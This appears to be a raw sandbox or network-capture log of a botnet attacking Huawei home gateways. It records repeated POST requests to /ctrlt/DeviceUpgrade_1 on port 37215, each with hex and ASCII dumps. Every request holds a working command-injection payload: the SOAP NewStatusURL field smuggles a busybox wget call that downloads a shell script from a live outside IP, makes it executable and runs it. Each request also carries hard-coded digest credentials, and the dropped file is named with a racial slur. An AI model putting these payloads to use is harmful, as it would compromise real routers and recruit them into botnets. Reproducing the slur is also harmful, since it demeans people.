<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:57.352389097 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:05.031244993 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:20.133048058 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	46098	156.235.110.168	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:49.950515032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:51.561006069 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:53.481002092 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:57.352530956 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:05.031239986 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:20.389029980 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x 